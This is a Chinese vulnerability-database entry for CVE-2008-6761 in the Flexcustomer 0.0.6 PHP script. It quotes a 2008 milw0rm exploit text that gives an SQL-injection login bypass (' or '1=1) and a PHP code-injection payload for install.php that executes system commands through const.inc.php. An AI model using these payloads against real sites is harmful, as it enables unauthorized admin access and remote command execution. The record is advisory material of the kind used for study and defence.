China-On-Site Flexcustomer 'admin/install.php'代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117152 漏洞类型 代码注入
发布时间 2008-12-29 更新时间 2009-04-28
CVE编号 CVE-2008-6761 CNNVD-ID CNNVD-200904-509
漏洞平台 PHP CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/7622
https://www.securityfocus.com/bid/84508
https://cxsecurity.com/issue/WLB-2009040245
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-509
|漏洞详情
Flexcustomer0.0.6版本中的admin/install.php存在静态代码注入漏洞。远程攻击者可以借助installdbname参数(又称数据库名字段),注入任意的PHP代码到const.inc.php。
|漏洞EXP
[START]

####################################################################################################################
[0x01] Informations:

Script         : Flexcustomer
Download       : http://www.hotscripts.com/jump.php?listing_id=25331&jump_type=1
Vulnerability  : Admin Login Bypass / Possible PHP code writing
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Admin Login Bypass]
######

Bug: /[path]/admin/usercheek.php

[CODE]

<?php
session_start();

if (!empty($logincheck)){
$sql = "select username,adminid from useradmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]

[!FIX] Escape $checkuser and $checkpass in $sql query.


[!] EXPLOIT: /[path]/admin/
             Put as username and password: ' or '1=1
             You will log in as admin

####################################################################################################################
[0x03] Bug: [Possible PHP data writing]
######

This is not a real bug, but could become it if the administrator doesn't delete the install.php file.
In fact, data that we put in /[path]/admin/install.php forms will be save in a .php file.
So, if install.php is not deleted, we can inject php code, and this bug can become a RCE vulnerability.

[!] EXPLOIT:
              1) Go at: /[path]/admin/install.php
              2) Put as Database Name this simple PHP code: ";system($_GET['cmd']);$a = "k
              3) Fill the other form and press  Next
              4) Execute your cmd: /[path]/const.inc.php?cmd=id

####################################################################################################################

[/END]

# milw0rm.com [2008-12-29]
|受影响的产品
China-On-Site Flexcustomer0.0.6 0
|参考资料

来源:XF
名称:flexcustomer-install-code-execution(47652)
链接:http://xforce.iss.net/xforce/xfdb/47652
来源:MILW0RM
名称:7622
链接:http://www.milw0rm.com/exploits/7622